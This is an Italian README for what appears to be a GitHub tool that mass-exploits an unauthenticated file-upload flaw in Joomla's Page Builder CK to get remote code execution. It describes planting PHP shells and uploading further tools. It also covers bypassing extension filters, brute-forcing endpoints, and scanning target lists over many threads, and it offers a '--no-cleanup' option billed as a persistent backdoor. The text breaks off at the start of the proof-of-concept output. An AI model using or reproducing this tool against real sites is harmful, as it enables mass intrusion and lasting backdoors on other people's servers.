pbck-exploit

Framework di Sfruttamento di Massa & Validazione per Joomla Page Builder CK

Caricamento Arbitrario di File Non Autenticato → Esecuzione di Codice Remota

---

📑 Indice dei Contenuti

• Panoramica della Vulnerabilità
• Versioni Affette
• Funzionalità
• Installazione
• Utilizzo
• Prova di Concetto
• Approfondimento Tecnico
• Metodologia di Rilevamento
• Difesa & Mitigazione
• Disclaimer
• Riferimenti

---

🔴 Panoramica della Vulnerabilità

CVE-2026-56290 è una vulnerabilità di gravità critica in Page Builder CK (com_pagebuilderck), una popolare estensione per la creazione di pagine in Joomla. Il metodo del controller browse.ajaxAddPicture accetta caricamenti di file non autenticati con un percorso di destinazione controllato dall'utente, consentendo agli attaccanti di scrivere file PHP arbitrari in directory accessibili dal web.

La Causa Principale

// browse.php controller — NESSUN controllo di autenticazione
function ajaxAddPicture() {
    $input = JFactory::getApplication()->input;
    $file  = $input->files->get('file', null);   // ← file controllato dall'utente
    $path  = trim($input->get('path', ''));       // ← path controllato dall'utente, solo trim()!
    // ... carica il file in $path senza convalidare la destinazione
}

Il parametro path subisce solo una sanitizzazione trim() — niente whitelist, niente controllo di path traversal, niente gate di autenticazione. Combinato con un token CSRF pubblicamente accessibile da qualsiasi pagina Joomla, gli attaccanti possono caricare shell PHP da remoto in qualsiasi directory scrivibile.

Impatto

Vettore	Gravità	Impatto
Caricamento File Non Autenticato	9.8 (Critico)	Esecuzione arbitraria di codice PHP
Raccolta Token CSRF	5.3 (Medio)	Abilita la catena di caricamento
Divulgazione di Informazioni	5.3 (Medio)	Fingerprinting della versione dell'estensione

La Catena d'Attacco

1. COLPISCI la homepage Joomla → raccogli token CSRF (hex32 + valore "1")
2. POST caricamento file       → task=browse.ajaxAddPicture&{token}=1
3. La shell PHP atterra in     → media/com_pagebuilderck/gfonts/shell.php
4. GET URL shell               → codice eseguito, RCE confermata
5. POST f=@file alla shell     → carica strumenti aggiuntivi
6. GET ?cleanup=1              → shell si autodistrugge

---

🟠 Versioni Affette

Versione Page Builder CK	Stato	Note
3.1.1 e precedenti	🔴 Vulnerabile	Caricamento non autenticato confermato
3.4.10 e precedenti	🔴 Vulnerabile	Range esteso per analisi
3.5.10 e precedenti	🔴 Vulnerabile	Alcune varianti corrette potrebbero esistere
> 3.5.10	🟢 Possibilmente Corretto	Verifica tramite manifest XML

Nota: La versione viene rilevata dal file manifest di Joomla in /administrator/manifests/files/com_pagebuilderck.xml. Se il manifest non è accessibile, lo scanner considera il target come potenzialmente vulnerabile.

---

✨ Funzionalità

🔍 Ricognizione Rilevamento Joomla — 2 fasi: impronte HTML + sonda pannello amministrazione Rilevamento PBCK — Sonde dirette sui path + pattern matching HTML Estrazione versione — Parsing manifest XML + fallback regex HTML Raccolta token CSRF — Estrazione token da più pagine (home, login, registrazione, admin) Brute-force endpoint — 1000+ combinazioni task/param/path con scoperta a budget di tempo

💀 Sfruttamento 40+ bypass estensione — Giocoleria maiuscole/minuscole, varianti numerate, estensioni doppie, trucchi Windows 20+ percorsi di destinazione — Directory di estensioni, directory scrivibili Joomla, path traversal Convalida shell — Conferma basata su token che PHP esegue Pulizia automatica — Shell si autodistruggono dopo la convalida (?cleanup=1) Output TXT live — Risultati reali thread-safe scritti su file Report JSON — Report strutturato con dettagli completi per target

---

📦 Installazione

# Clona il repository
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit

# Installa le dipendenze
pip install -r requirements.txt

# Verifica
python cve_2026_56290.py --help

Requisiti

requests>=2.28.0
urllib3>=1.26.0

---

📖 Utilizzo

Argomenti da Riga di Comando

CVE-2026-56290 — PageBuilderCK RCE Non Autenticata | Exploit di Massa & Validatore

  -t, --target        URL singolo target
  -f, --file          File con URL target (uno per riga, # per commenti)
  -o, --output        File output TXT live (default: cve-2026-56290_live.txt)
  --json              Percorso file report JSON (default: cve-2026-56290_report.json)
  --threads           Worker concorrenti (default: 20)
  --timeout           Timeout richiesta in secondi (default: 15)
  --no-cleanup        Lascia le shell sul target (backdoor persistente)
  -v, --verbose       Output verbose scoperta endpoint
  --known-endpoint    Salta scoperta: task,file_param,folder_param

Utilizzo Base

# Singolo target
python cve_2026_56290.py -t https://target.com

# Scansione di massa da file
python cve_2026_56290.py -f targets.txt

# Output personalizzato + verbose
python cve_2026_56290.py -f targets.txt -o results.txt -v

# Lascia le shell (backdoor persistente)
python cve_2026_56290.py -t https://target.com --no-cleanup

# Salta scoperta con endpoint noto
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"

Formato File Target

# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# commenti e righe vuote vengono ignorati

---

🧪 Prova di Concetto

Scenario 1: Scansione di Massa con Output Live

$ python cve_2026_56290.py -f targets.txt -o live_results.txt

────────────────────────────────────────────────────────────
  CVE-2026-56290 | 5 target | 20 thread | cleanup=si
  TXT live: live_results.txt
  2026-07-04 15:30:00
────────────────────────────────────────────────────────────